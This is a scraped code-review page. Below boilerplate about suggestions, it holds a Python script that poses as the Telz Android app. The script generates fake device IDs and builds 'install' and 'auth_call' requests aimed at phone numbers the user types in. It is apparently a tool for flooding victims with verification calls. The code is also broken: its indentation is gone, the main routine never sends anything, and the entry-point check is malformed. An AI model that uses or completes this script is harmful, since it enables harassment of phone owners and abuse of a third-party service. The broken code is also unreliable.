Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
import time
import random
import string
import uuid
import json
import requests
from requests.exceptions import RequestException
def generate_device_id():
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=16))
def get_timestamp():
return round(time.time() * 1000)
def create_install_payload(device_id, uuid, ts):
return json.dumps({
'androidid': device_id,
'app_version': '17.5.17',
'event': 'install',
'google_exists': 'yes',
'os': 'android',
'os_version': '9',
'play_market': True,
'ts': ts,
'uuid': uuid
})
def create_authcall_payload(device_id, uuid, ts, phone):
return json.dumps({
'androidid': device_id,
'app_version': '17.5.17',
'attempt': '0',
'event': 'auth_call',
'lang': 'ar',
'os': 'android',
'os_version': '9',
'phone': f'+{phone}',
'ts': ts,
'uuid': uuid
})
def send_request(url, payload, headers):
try:
return requests.post(url, data=payload, headers=headers, timeout=10)
except RequestException as e:
raise RequestException(str(e))
def Quantex_python():
headers = {"User-Agent": "Telz-Android/17.5.17", "Content-Type": "application/json"}
phone_numbers = [
n.strip().replace("+", "") for n in input("Numara Gir: ").split(",")
if n.strip().replace("+", "").isdigit()
]
if name == "main":
try:
Quantex_python()
except KeyboardInterrupt:
print("Durduruldu.")